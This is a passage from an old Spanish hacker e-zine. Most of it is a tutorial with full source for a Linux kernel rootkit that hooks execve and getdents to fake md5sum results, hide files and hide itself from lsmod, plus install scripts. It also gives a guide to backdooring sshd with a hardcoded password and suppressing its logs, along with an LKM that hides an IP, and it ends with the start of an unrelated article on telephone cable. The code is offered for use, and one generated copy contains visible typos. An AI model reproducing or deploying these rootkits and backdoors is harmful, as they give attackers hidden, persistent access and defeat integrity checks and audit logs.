execve("/usr/bin/md5sum", ["md5sum", "hola"], [/* 28 vars */]) = 0
uname({sys="Linux", node="localhost.localdomain", ...}) = 0
-brk(0) = 0x80508a4
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
= 0
....
....
....
open("hola", O_RDONLY|O_LARGEFILE) = 3
fstat64(3, {st_mode=S_IFREG|0775, st_size=13617, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40022000
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0`\203\4"..., 4096) = 4096
read(3, "5535;\0signed char:t(0,10)=@s8;r("..., 4096) = 4096
read(3, "ONV_NOMEM:3,__GCONV_EMPTY_INPUT:"..., 4096) = 4096
read(3, "\204\203\4\10\0\0\0\0\2\0\f\0+\0\0\0\0\0\0\0\0\0\0\0\4"..., 4096) = 1329
read(3, "", 4096) = 0
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40022000, 4096) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40022000
ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
write(1, "bef1ac85326b858bf927f882a20cb964"..., 39bef1ac85326b858bf927f882a20cb964 hola
) = 39
munmap(0x40022000, 4096) = 0
_exit(0) = ?
Bueno una vez hecho esto, podemos llegar facilmente a la conclusion de que
podemos interceptar execve
execve("/usr/bin/md5sum", ["md5sum", "hola"], [/* 28 vars */]) = 0
para que en vez de md5sum se ejecute alguna otra cosa cuando se le pase como
argv[1] hola (tb podriamos optar por interceptar open, pero nos quedamos
con execve :)
--QUE EJECUTAMOS EN VEZ DE MD5SUM--
Bien lo primero que hemos de pensar es en que vamos a ejecutar en vez de
md5sum, bien lo que yo propongo es lo siguiente, usar un programa q mantenga
en un fichero una lista con archivos y cadenas que queremos que se muestren si
se hiciera un md5sum de dicho archivo, de forma q podamos añadir entradas a
esta pequeña "base de datos" llamando al programa con una determinada
opcion (en este caso programa -a).
Asi cuando se ejecute md5sum el lkm interceptara execve y llamara a este
programa que consultara en la lista si existe el programa y si esta mostrara
la cadena que hemos especificado, sino se ejecutara md5sum. Si no hemos
pasado a md5sum como opcion un archivo, es decir que se le ha pasado algo
como "--help" este programa hara que se ejecute md5sum --help. Para conseuir
esto ultimo necesitamos hacer una copia de md5sum a md6sum porque sino cuando
como veremos malo llamase a md5sum el execve seria interceptado por el lkm que
a su ver volveria a llamar a malo y bueno ya os imaginais el resto :P
Bueno, dejo de decir cosas que me lio y pasteo el codigo que seguro que se
entiende mucho mejor a el que a mi :)
---------aqui empieza malo.c--------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct {
char programa[25];
char cadena[50];
} lista;
void anade() {
FILE *fichero;
fichero = fopen("/bin/lista.txt", "a");
printf("Programa: ");
fflush(stdout);
gets(lista.programa);
printf("Cadena: ");
gets(lista.cadena);
fwrite(&lista, sizeof(lista), 1, fichero);
fclose(fichero);
}
void muestra(char *argumento) {
int i;
FILE *fichero;
fichero = fopen("/bin/lista.txt", "r");
i=0;
while (!feof(fichero)) {
fread(&lista, sizeof(lista), 1, fichero);
if (!strcmp(lista.programa, argumento) && (i==0)) {
printf("%s %s\n", lista.cadena, lista.programa);
i=1;
}
}
fclose(fichero);
if (i==0)
execl("/usr/bin/md6sum", "md6sum", argumento, 0);
}
void main(int argc, char **argv) {
if (argc > 1) {
if (!strcmp(argv[1], "-a"))
anade();
else if (!strcmp(argv[1], "-b")) {
muestra(argv[2]);
}
else if (!strcmp(argv[1], "-t")) {
muestra(argv[2]);
}
else {
muestra(argv[1]);
}
}
else
execl("/usr/bin/md6sum", "md6sum", 0);
}
----------aqui acaba malo.c-----------------------------------------------
--EL LKM--
Bueno pues ahora nos queda codear el lkm que tendria que hacer lo siguiente:
1-Redireccionar el ejecutable cuando intentemos hacer un md5sum.
2-Ocultar tanto nuestro ejecutable malo como el archivo lista.txt como md6sum
ante por ejemplo un ls.
3-Pues pasar desapercibido ante, un lsmod por decir algo :P (si quereis
entender mejor este apartado os remito al texto sobre Ripe en este mismo
numero sobre LKM)
Muy bien pues para el primer proposito hemos dicho que tenemos que interceptar
la syscall execve y para el segundo proposito necesitamos interceptar la
syscall getdents (estamos usando un kernel 2.2.14) como vemos a continuacion:
[illo@localhost illo]$ strace ls > /dev/null
........
........
........
open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0700, st_size=1024, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
brk(0x805a000) = 0x805a000
getdents(3, /* 7 entries */, 3391) = 148 |__ aqui ta :):
getdents(3, /* 0 entries */, 3391) = 0 |
close(3) = 0
......
......
......
Bien y para nuestro tercer proposito, lo que vamos a hacer es lo siguiente,
basicamente se trata de acceder al simbolo kernel_module y asi poder acceder a
module_list ya que entre ellos hay un offset que conocemos. Asi desde nuestro
modulo hemos de llegar al kernel_module (cuando next valga NULL) y como
conocemos el offset... exacto tenemos acceso a module_list, ahora podemos
recorrer la lista enlazada que se usa para guardar los modulos y ocultar el
modulo que queramos, esta tecnica, aqui digamos "pierde potencial" pero
imaginaos que queremos ocultar un modulo que cargamos despues de el modulo
que se encargara de ocultar modulos (ala ahi no os lieis ep :P) podemos usar
esta tecnica para poder acceder a module_list :). Si quereis saber mas sobre
ocultacion de modulos, lo dicho, el doc sobre LKM's de Ripe publicado en este
mismo numero de la e-zine, no tiene desperdicio.
Bueno pues aqui esta el lkm:
---------------lkm.c empieza aqui
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/malloc.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#define __NR_mexecve 200
#define MALO "/bin/malo"
int errno;
static inline _syscall1(int, brk, void *, end_data_segment);
extern void *sys_call_table[];
void *module_list=NULL;
void *tmp;
int (*o_execve)(const char *filename, const char *argv [], const char *envp[]);
int (*o_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
void *get_module_list() {
struct module *m=&__this_module;
while(m->next)
m=m->next;
module_list=m+1;
}
void hide_lkm() {
void **tmp;
struct module *m;
struct module *m2;
struct module *lkm=&__this_module;
tmp=(void **)module_list;
for(m=(*tmp), m2=NULL; m; m2=m, m=m->next)
if(!strcmp(m->name, lkm->name))
break;
if (m2)
m2->next=m->next;
else
(*tmp)=m->next;
}
int mexecve(const char *filename, const char *argv [], const char *envp[])
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_mexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}
int ocultar(char *archivo) {
if (!strcmp("malo", archivo))
return(1);
else if(!strcmp("lista.txt", archivo))
return(1);
else if(!strcmp("md6sum", archivo))
return(1);
else
return(0);
}
int mi_execve(const char *filename, const char *argv [], const char *envp) {
int ret;
int mmm;
char *exec=kmalloc(strlen(filename)+1, GFP_KERNEL);
memset(exec, 0, strlen(filename)+1);
__generic_copy_from_user(exec, filename, strlen(filename));
if (!strcmp("/usr/bin/md5sum", exec)) {
kfree(exec);
mmm=current->mm->brk;
brk((void *)mmm+strlen(MALO)+1);
__generic_copy_to_user((void *)mmm, MALO, strlen(MALO) + 1);
ret=mexecve((void *)mmm, (char **)argv, (char **)envp);
brk((void *)mmm);
return(ret);
}
kfree(exec);
return(mexecve(filename, (char **)argv, (char **)envp));
}
int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret;
int i=0;
struct dirent *mdirp, *mdirp2, *d1, *d2;
char *ptr;
ret=(*o_getdents)(fd, dirp, count);
if (ret < 0)
return(ret);
mdirp=(struct dirent*)kmalloc(ret, GFP_KERNEL);
mdirp2=(struct dirent*)kmalloc(ret, GFP_KERNEL);
__generic_copy_from_user(mdirp, dirp, ret);
memset(mdirp2, 0, ret);
__generic_copy_to_user(dirp, mdirp2, ret);
d1=mdirp;
d2=mdirp2;
while(ret>0) {
ret-=d1->d_reclen;
if((ocultar(d1->d_name))==0) {
memcpy(d2, d1, d1->d_reclen);
i+=d2->d_reclen;
ptr=(char *)d2;
ptr+=d2->d_reclen;
d2=(struct dirent*)ptr;
}
ptr=(char *)d1;
ptr+=d1->d_reclen;
d1=(struct dirent*)ptr;
}
__generic_copy_to_user(dirp, mdirp2, i);
kfree(mdirp);
kfree(mdirp2);
return(i);
}
int init_module() {
get_module_list();
hide_lkm();
o_execve=sys_call_table[__NR_execve];
tmp=sys_call_table[__NR_mexecve];
sys_call_table[__NR_mexecve]=o_execve;
sys_call_table[__NR_execve]=mi_execve;
o_getdents=sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents]=mi_getdents;
return(0);
}
void cleanup_module() {
sys_call_table[__NR_execve]=o_execve;
sys_call_table[__NR_mexecve]=tmp;
sys_call_table[__NR_getdents]=o_getdents;
}
-----------------lkm.c acaba aqui------------
--PRUEBAS--
Muy bien, pues ya lo tenemos casi todo, ahora incluyo un pequeño script
que se encarga de compilar y poner en marcha todo el codigo :)
-----------------Aqui empieza install-------------
cp /usr/bin/md5sum /usr/bin/md6sum
gcc malo.c -omalo
mv malo /bin/malo
gcc -O2 -I/usr/src/linux/include/ -c lkm.c
insmod lkm.o
-----------------Aqui acaba install----------------
Bueno pues ya lo tenemos todo :) Ahora toca probar, para ello volvamos con
el ejemplo del programa hola :P, recordemos que es lo que pasaba al hacer
un md5sum de la "segunda version" del programa:
[illo@localhost apache]$ md5sum hola
bef1ac85326b858bf927f882a20cb964 hola
Vale, ahora hagamos uso de lo que hemos ido haciendo en este artículo :)
root@localhost md5]# ls
install lkm.c malo.c
[root@localhost md5]# ./install
algunos warnings :P
[root@localhost md5]# lsmod
Module Size Used by
BusLogic 87820 2
mmm onde tara lkm :)
[root@localhost md5]# ls /bin
arch csh gawk mail remadmin tcsh
ash date gawk-3.0.4 mkdir rm touch
ash.static dd grep mknod rmdir true
awk df gtar mktemp rpm umount
basename dmesg gunzip more rvi uname
bash dnsdomainname gzip mount rview userconf
bash2 doexec hostname mt sed usleep
bsh domainname igawk mv setserial vi
cat echo ipcalc netconf sh view
chgrp ed kill netstat sleep vimtutor
chmod egrep linuxconf nice sort ypdomainname
chown ex ln nisdomainname stty zcat
consolechars false loadkeys ps su
cp fgrep login pwd sync
cpio fsconf ls red tar
mmm onde tara malo :) (algo como esto pasa con lista.txt y md6sum ;)
[root@localhost md5]# md5sum -a
Programa: hola
Cadena: 35317b4565538f4daa130314a465d25a
mmm no sabia q md5sum tuviera esa opcion :)
root@localhost md5]# cd ..
[root@localhost /root]# ls
... hola ...
[root@localhost /root]# md5sum hola
35317b4565538f4daa130314a465d25a hola
mmm vay vaya pero si esto era antes de la modificacion... :)
[root@localhost /root]# md5sum -b hola
35317b4565538f4daa130314a465d25a hola
mmm pos si si "parece" que nada haya cambiado en hola :P
ot@localhost md5]# md5sum --version
md5sum (GNU textutils) 2.0a
Written by Ulrich Drepper.
Copyright (C) 1999 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
mmm pos "parece" q md5sum rula bien :)
Bueno pues para acabar incluyo un script de configuracion que salio a
partir de una conversacion con alguien sobre la posibilidad de hacer
que el programa fuera configurable.
-----------aqui empieza configure.sh--------
#!/bin/sh
escribealgo () {
echo "escribe algo!"
exit
}
echo -e "Script de configuracion"
echo ""
echo -n "Path completo al archivo de configuracion: "
read CONFIG
if [ -z $CONFIG ]; then
escribealgo
fi
echo -n "Path del ejecutable md5sum real: "
read MD5_REAL_BIN
if [ -z $MD5_REAL_BIN ]; then
escribealgo
fi
echo -n "Path completo al ejecutable sustituto de md5sum: "
read MD5_FAKE_BIN
if [ -z $MD5_FAKE_BIN ]; then
escribealgo
fi
echo -n "Nombre del ejecutable sustituto de md5sum: "
read MD5_FAKE_BIN_NAME
if [ -z $MD5_FAKE_BIN_NAME ]; then
escribealgo
fi
echo ""
echo -n "Generando malo.c "
cat << EOF > malo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define CONFIG_FILE "$CONFIG"
#define MD5_FAKE_BIN "$MD5_FAKE_BIN"
#define MD5_FAKE_BIN_NAME "$MD5_FAKE_BIN_NAME"
struct {
char programa[25];
char cadena[50];
} lista;
void anade() {
FILE *fichero;
fichero = fopen(CONFIG_FILE, "a");
printf("Programa: ");
fflush(stdout);
gets(lista.programa);
printf("Cadena: ");
gets(lista.cadena);
fwrite(&lista, sizeof(lista), 1, fichero);
fclose(fichero);
}
void muestra(char *argumento) {
int i;
FILE *fichero;
fichero = fopen(CONFIG_FILE, "r");
i=0;
while (!feof(fichero)) {
fread(&lista, sizeof(lista), 1, fichero);
if (!strcmp(lista.programa, argumento) && (i==0)) {
printf("%s %s\n", lista.cadena, lista.programa);
i=1;
}
}
fclose(fichero);
if (i==0)
execl(MD5_FAKE_BIN, MD5_FAKE_BIN_NAME, argumento, 0);
}
void main(int argc, char **argv) {
if (argc > 1) {
if (!strcmp(argv[1], "-a"))
anade();
else if (!strcmp(argv[1], "-b")) {
muestra(argv[2]);
}
else if (!strcmp(argv[1], "-t")) {
muestra(argv[2]);
}
else {
muestra(argv[1]);
}
}
else
execl(MD5_FAKE_BIN,MD5_FAKE_BIN_NAME, 0);
}
EOF
echo "Ok!"
echo -n "Generando lkm.c "
cat << EOF > lkm.c
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/malloc.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#define __NR_mexecve 200
#define MALO "/bin/malo"
int errno;
static inline _syscall1(int, brk, void *, end_data_segment);
extern void *sys_call_table[];
void *tmp;
int (*o_execve)(const char *filename, const char *argv [], const char *envp[]);
int (*o_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
void *get_module_list() {
struct module *m=&__this_module;
while(m->next)
m=m->next;
module_list=m+1;
}
void hide_lkm() {
void **tmp;
struct module *m;
struct module *m2;
struct module *lkm=&__this_module;
tmp=(void **)module_list;
for(m=(*tmp), m2=NULL; m; m2=m, m=m->next)
if(!strcmp(m->name, lkm->name))
break;
if (m2)
m2->next=m->next;
else
(*tmp)=m->next;
}
int mexecve(const char *filename, const char *argv [], const char *envp[])
{
long __res;
__asm__ volatile ("int \$0x80":"=a" (__res):"0"(__NR_mexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}
int ocultar(char *archivo) {
if (!strncmp("malo", archivo,strlen("malo")))
return(1);
else if(!strncmp("$CONFIG_FILE", archivo,strlen("$CONFIG_FILE")))
return(1);
else if(!strncmp("$CONFIG_FILE", archivo,strlen("$CONFIG_FILE")))
return(1);
else
return(0);
}
int mi_execve(const char *filename, const char *argv [], const char *envp) {
int ret;
int mmm;
char *exec=kmalloc(strlen(filename)+1, GFP_KERNEL);
memset(exec, 0, strlen(filename)+1);
__generic_copy_from_user(exec, filename, strlen(filename));
if (!stnrcmp("$MD5_REAL_BIN", exec,strlen("$MD5_REAL_BIN")) {
kfree(exec);
mmm=current->mm->brk;
brk((void *)mmm+strlen(MALO)+1);
__generic_copy_to_user((void *)mmm, MALO, strlen(MALO) + 1);
ret=mexecve((void *)mmm, (char **)argv, (char **)envp);
brk((void *)mmm);
return(ret);
}
kfree(exec);
return(mexecve(filename, (char **)argv, (char **)envp));
}
int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret;
int i=0;
struct dirent *mdirp, *mdirp2, *d1, *d2;
char *ptr;
ret=(*o_getdents)(fd, dirp, count);
if (ret < 0)
return(ret);
mdirp=(struct dirent*)kmalloc(ret, GFP_KERNEL);
mdirp2=(struct dirent*)kmalloc(ret, GFP_KERNEL);
__generic_copy_from_user(mdirp, dirp, ret);
memset(mdirp2, 0, ret);
__generic_copy_to_user(dirp, mdirp2, ret);
d1=mdirp;
d2=mdirp2;
while(ret>0) {
ret-=d1->d_reclen;
if((ocultar(d1->d_name))==0) {
memcpy(d2, d1, d1->d_reclen);
i+=d2->d_reclen;
ptr=(char *)d2;
ptr+=d2->d_reclen;
d2=(struct dirent*)ptr;
}
ptr=(char *)d1;
ptr+=d1->d_reclen;
d1=(struct dirent*)ptr;
}
__generic_copy_to_user(dirp, mdirp2, i);
kfree(mdirp);
kfree(mdirp2);
return(i);
}
int init_module() {
get_module_list();
hide_lkm();
o_execve=sys_call_table[__NR_execve];
tmp=sys_call_table[__NR_mexecve];
sys_call_table[__NR_mexecve]=o_execve;
sys_call_table[__NR_execve]=mi_execve;
o_getdents=sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents]=mi_getdents;
return(0);
}
void cleanup_module() {
sys_call_table[__NR_execve]=o_execve;
sys_call_table[__NR_mexecve]=tmp;
sys_call_table[__NR_getdents]=o_getdents;
}
EOF
echo "Ok!"
echo -n "Generando install "
cat << EOF > install
cp $MD5_REAL_BIN $MD5_FAKE_BIN
gcc malo.c -omalo
mv malo /bin/malo
gcc -O2 -I/usr/src/linux/include/ -c lkm.c
insmod lkm.o
EOF
echo "Ok!"
-----------aqui acaba configure.sh----------
--REFERENCIAS--
ARTÍULOS:
SET 22. "Linux Kernel Modules"
Autor: Doing
Netsearch 5 "LKM: el backdoor perfecto"
Autor: Doing
7a69 12:"Linux LKMs; Troyanizando el kernel"
Autor: Ripe
Phrack 51. "Bypassing Integrity Checking Systems"
Autor: halflife
Phrack 52. "Weakening the Linux Kernel"
Autor: plaguez
"(nearly) Complete Linux Loadable Kernel Modules"
Autor: Pragmatic
CODIGO:
Fuentes Kernel de linux
fog 2.0.0g
Autores: Ripe
Knark v0.50
Autor: Creed
Saint Jude - Linux Kernel Module 0.10
Autor: Tim Lawless
--DESPEDIDA--
Pues nada se acabo :) un saludote para todos, agradecimientos a todos aquellos
que se han interesado en este sencillo txt y han hecho que sea mejor :_)
y mi e-mail para cualquier cosa ireick@7a69ezine.org
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Gnome PGP version 0.4
mQGiBDuzPkkRBADTC8dJqxzpd0Wy6kL106AVPT4KDLqR0yY/vs0Sm0NAOzQuJI1w
GQG2josgN91azF1UirPbDRMK6EY1VEQGqhZ3lutCoa5w3tGbhiqmozXQieLItL41
lSNp/8A9vtelvAK75ctKzO5exLSUe0mKwiAUgqWvZmMa577IoGiYA8Ab/wCgvlfr
3Vke9N1RSJo3BSY1aT9GdSkD/2ER7dEiN5I0Oav8p/PLmP3N7CfTMhebvN5YyLcL
0bOUfgX7S8D9mP28Lmi3rU10GcPNMm3Ovr4HhBBet7lPabUeqrxtsYefNbo5u8pT
c5yg5g3GA9fW4WN+qQN0Hvw4tBUnxrI6WrjI5VAdbpWFDP2Tdjq2DHQRgb9v5Ha7
C/XCA/4xzo7i60GNcZnkUY4EbI5nkF6p92GZw2S3PtjUxUgivT4OlYb2VRzREklf
jjfUOXdQ7qMGDAVPucLZpvpYN0yVR1qhJa+TJYrAwyuzw/CbR/X8r1vCGBAHHbxf
NJ9XdPaUqVu4BE08YG3zhHfIWHWuwB0S8MSaIlqop0JP7HI2ubQdaXJlaWNrIDxp
cmVpY2tAN2E2OWV6aW5lLm9yZz6IVwQTEQIAFwUCO7M+SQULBwoDBAMVAwIDFgIB
AheAAAoJECWqUFPmUg390wkAnjl4kWxIUlhkGHmAQuZt5QJVWaY/AJ0Ta7GJpmVQ
CpnT21Gzfqy1XYJ0DbkBDQQ7sz5MEAQA4N13LoE096UV+C76YkPSTJLActiN5qqu
9aAZlsG64Ir/VOXa5nsZN0O3Tx5SRxTlGq7L4Y6l9P5rmsGtYJpHWoZFaEx3EBpn
ucreSzna1m834miJxK1QXEk9W8V0XnTBsS+ZAxkH1DiTzDeLbUHvrBihUV1simyJ
eIc9j/YJiZ8ABAsD/jl7vW3EFaufbunpnfFBXE+rUFdCqRMwYaLQkfUFD5zP/b6u
lQV8op2aGslOaBzWV2X7OFdtY8fdjaInvEGMlJwbaKTTaGVRw+6CelV8GBrGkIku
8QGmx5e+AUWeB67FZzdecfu9Mw0gJF+bmky5W5EiFfKDxmHpBtYYlGZBJnkniEYE
GBECAAYFAjuzPkwACgkQJapQU+ZSDf367wCcC7rJw1D6GwXb5XJ7EfavjzV2+hkA
oKum9N9MP/L9DZdpuPvfn29dRq/m
=OeAb
-----END PGP PUBLIC KEY BLOCK-----
*EOF*
-=( 7A69#12 )=--=( art10 )=--=( Cortos )=--=( Varios )=-
Y en esta seccion, como siempre, encontrareis mini-articulillos, que,
creemos, tambien pueden ser de intres :)
1.- Troyanizando sshd - fkt
2.- Fabricacion de cables de cobre - N4XoR
3.- Cocacola Gratis!! - bzero
4.- Slab cache en linux 2.2.x - Doing
5.- Router de shiva - fkt
6.- Antidisclosure (anti.security.is) - Ripe
7.- Introduccion al overclocking - IReick
8.- El manifiesto del lamer - ^Se7eN^
-------------------------------------------------------------------------------
---/ 1 /--/ Troyanizando sshd /--/ fkt /---------------------------------------
-------------------------------------------------------------------------------
+-----------------------------+
| Troyanizando SSH |
| By fkt |
+-----------------------------+
Bien empecemos, en este documento relataré como dejar puertas traseras
(aka backdoors) en el demonio del SSH que ahora es bastante popular y reem-
plaza al telnet en la mayoría de servidores. Lo explicaré para la version
2.3.0, Para seguir este documento has de tener algunos conocimientos de C.
Una vez explicado esto procedamos al meollo de la cuestión...
Para empezar necesitamos un fichero donde definiremos la password del backdoor
para que asi otros no puedan usarlo, le llamaremos por ejemplo, back.h y con-
tendrá lo siguiente:
#define CLAVEBACK "hax0r"
int back;
Lo del int back es para definir una variable entera que usaremos para que si
metemos la password correcta del backdoor no dejemos logs, esta variable po-
dríamos definirla en todos los archivos q modifiquemos en vez de ponerla en el
back.h, pero como es más cómodo definirla aqui pues me he decantado por esta
opción.
Bueno una vez tenemos ese fichero cogemos y descomprimimos el source del ssh
(si no lo teneis www.ssh.net y os lo bajais), una vez descomprimido buscamos
los ficheros donde se produce la autentificación del usuario para así modifi-
carlos y que si el usuario mete la password del backdoor pues que no la
"checkee", buscando vemos el auths-passwd.c lo abrimos y vemos que pone...
Password authentication, server-side. This calls functions in
machine-specific files to perform the actual authentication.
Vaya! parece que hemos acertado en este archivo se hace la autentificación del
usuario. Bueno pues ahora cogemos y ponemos...
#include "back.h"
Para que incluya nuestro archivo donde tenemos nuestra password y nuestra va-
riable; ahora vamos leyendo el código y nos encontramos que...
if (ssh_user_validate_local_password(uc, password))
{
ssh_log_event(config->log_facility,
SSH_LOG_NOTICE,
"User %s's local password accepted.",
ssh_user_name(uc));
SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by local passwd"));
goto password_ok;
}
ssh_xfree(password);
goto password_bad;
Creo que lo hemos encontrado, en ese if comprueba si es un user válido y si lo
es lo loguea y va a password_ok y sino lo es pues libera password y va a
password_bad, así que habrá que cambiar esto y dejarlo tal que así:
if ((ssh_user_validate_local_password(uc, password)) || (!strcmp(password,CLAVEBACK)))
{
if (strcmp(password,CLAVEBACK)) {
ssh_log_event(config->log_facility,
SSH_LOG_NOTICE,
"User %s's local password accepted.",
ssh_user_name(uc));
SSH_DEBUG(5, ("ssh_server_auth_passwd: accepted by local passwd"));
back=0;
} else {
back=1;
}
goto password_ok;
}
ssh_xfree(password);
goto password_bad;
Bueno voy a explicar esto por si alguien no lo entiende, lo que hacemos es po-
nerle otra condición más al if, si el user es válido o coincide el password
con CLAVEBACK entonces entramos en el if, y dentro de ese if hay otro que lo
que hace es que si coincide el password con CLAVEBACK pone back a 1 y no lo-
guea y sino loguea y pone back a 0 que quiere decir que no lo estamos usando.
Este archivo ya lo hemos modificado para nuestros intereses, asi que vamos a
seguir buscando ... y mientras miramos el source del sshcommon.c vemos que
sale esto:
/* Log the disconnect in the system log. */
ssh_log_event(common->config->log_facility, SSH_LOG_INFORMATIONAL,
"%s disconnected: %s",
locally_generated ? "Local" : "Remote host",msg);
Vaya!, esto loguea la desconexión, luego habrá que modificarlo para que no
dejemos logs y quedaría de la siguiente manera:
/* Log the disconnect in the system log. */
if (!back) {
ssh_log_event(common->config->log_facility, SSH_LOG_INFORMATIONAL,
"%s disconnected: %s",
locally_generated ? "Local" : "Remote host",msg);
}
Ponemos un if diciendo que si no hemos usado la password del backdoor loguee
y si la hemos usado se lo salte mediante la variable back que ya tiene valor
porque se lo dimos previamente en el auths-passwd.c. Obviamente en este ar-
chivo habrá que incluir el back.h como hicimos en el auths-passwd.c
Bueno seguimos mirando y encontramos que mirando el código del sshd2.c vemos:
case SSH_DISCONNECT_CONNECTION_LOST:
ssh_log_event(c->server->config->log_facility,
SSH_LOG_INFORMATIONAL,
"connection lost: '%s'", msg);
break;
Parece que esto loguea cuando nos desconectamos asi que vamos a evitarlo...
case SSH_DISCONNECT_CONNECTION_LOST:
if (!back) {
ssh_log_event(c->server->config->log_facility,
SSH_LOG_INFORMATIONAL,
"connection lost: '%s'", msg);
}
break;
Seguimos mirando en el sshd2.c y nos encontramos con:
if (successful)
ssh_log_event(common->config->log_facility,
SSH_LOG_NOTICE,
"User %s, coming from %s, authenticated.",
user, common->remote_host);
Hemos encontrado un if que loguea si hemos pasado el paso de autentificaci¢n
asi que vamos a modificarlo para que no lo haga si usamos nuestro backdoor:
if (!back) {
if (successful)
ssh_log_event(common->config->log_facility,
SSH_LOG_NOTICE,
"User %s, coming from %s, authenticated.",
user, common->remote_host);
}
Así no loguearía si usamos el backdoor. Bueno pues ya tenemos el backdoor
hecho, aunque aún dejaría un log como este:
Apr 10 19:11:47 Linux1 sshd2[10968]: connection from "127.0.0.1"
Y también en el last dejaría logs.
Eso se puede solucionar modificando el authc-passwd.c y el wtmp.c y hacer que
cuando sea vuestra ip pues que no loguee pero no os voy a dar todo hecho asi
que lo pensais; o también otra manera de que no salga es usando un Linux Ker-
nel Module que modifica la syscall write, para esto me remito al articulo de
Doing sobre LKM´s en el e-zine Netsearch #5 donde viene el siguiente modulo:
/* Oculta La IP 127.0.0.2 */
/* Compilar con gcc -O2 -c log.c */
/* insmod log.o */
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/fd.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/dirent.h>
#include <linux/file.h>
#include <linux/unistd.h>
#include <linux/if.h>
#include <syscall.h>
#include <asm/segment.h>
extern void *sys_call_table[]; /* array de syscalls */
ssize_t (*o_write) (int, void*, size_t);
int
OCULTAR_STRING(char *name)
{
if (strstr(name, "127.0.0.2")) return 1;
return 0;
}
/*
* Llamada al sistema write() troyanizada
*/
ssize_t new_write (int fd, void *buf, size_t size)
{
size_t ret;
char *tmp;
if (size < 1) return size;
if (size > 10000) return (*o_write) (fd, buf, size);
tmp = (char*) kmalloc(size+1, GFP_KERNEL);
memset(tmp, 0, size + 1);
__generic_copy_from_user(tmp, buf, size);
if (OCULTAR_STRING(tmp)) {
kfree(tmp);
return size;
}
kfree(tmp);
return (*o_write) (fd, buf, size);
}
int
init_module()
{
EXPORT_NO_SYMBOLS;
o_write = sys_call_table[__NR_write];
sys_call_table[__NR_write] = new_write;
return 0;
}
void
cleanup_module()
{
sys_call_table[__NR_write] = o_write;
}
Este módulo lo que hace es que cuando se va a usar la syscall write() chequea
si aparece por algun lado la ip 127.0.0.2 y si lo hace pues no saca esa linea
por pantalla. Ahora si que ya está todo a punto, si quereis saber lo que hace
el modulo exactamente leer el e-zine al que me he remitido anteriormente que
viene explicado. Todo lo que he explicado está testeado 100% en la versión
SSH 2.3.0, pero en la 2.4.0 es prácticamente igual por no decir igual y en las
anteriores también.
Un Saludo
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/ 2 /--/ Fabricacion de cables de cobre /--/ Anonimo /----------------------
-------------------------------------------------------------------------------
Introducción a los cables telefónicos.
En este panfleto, por que esto es un panfleto, veremos como se fabrica y se
usa un cable telefónico de los usados normalmente por timofonica.
Nos
centraremos en los cables de cobre y en próximos ezines veremos cables de
fibra y coaxiales.
Por supuesto deciros que uno no esta en posesión de la verdad absoluta, y como
asno que patea este jodido mundo muchas veces mete la gamba hasta el hígado,
así que si alguien lee esto y detecta errores o fallos, que no se alarme, es
normal. (De zoquetes ta el mundo lleno. xD).
Bien empecemos que si no me enrollo.
Comenzaremos por ver la composición y fabricación de un cable de pares de
cobre.
La fabricación se compone de 4 fases básicas:
- Aislado.
- Pareado.
- Cableado.
- Forrado de cubierta final.
Aislado.
En este proceso lo que hacemos es trefilar y aislar los hilos conductores que
forman el cable.
Trefilar es conseguir que los conductores tengan un diámetro determinado por
medio de un proceso de estiramiento, haciendo pasar un alambre de cobre de un
diámetro alto por una serie de poleas y baños de recocido y unos calibres de
diamante hasta conseguir el diámetro deseado.
Básicamente se trabaja con los siguientes diámetros:
- 0,405 mm
- 0,5 mm
- 0,64 mm
- 0,9 mm
Aunque también se fabrican cables de menor diámetro, 0.32, y de mayor 1,3 mm
Aunque al cobre se le hace un trefilado previo para poder trabajar con ello en
las extruder (maquinas de aislado), el proceso donde se le da el diámetro
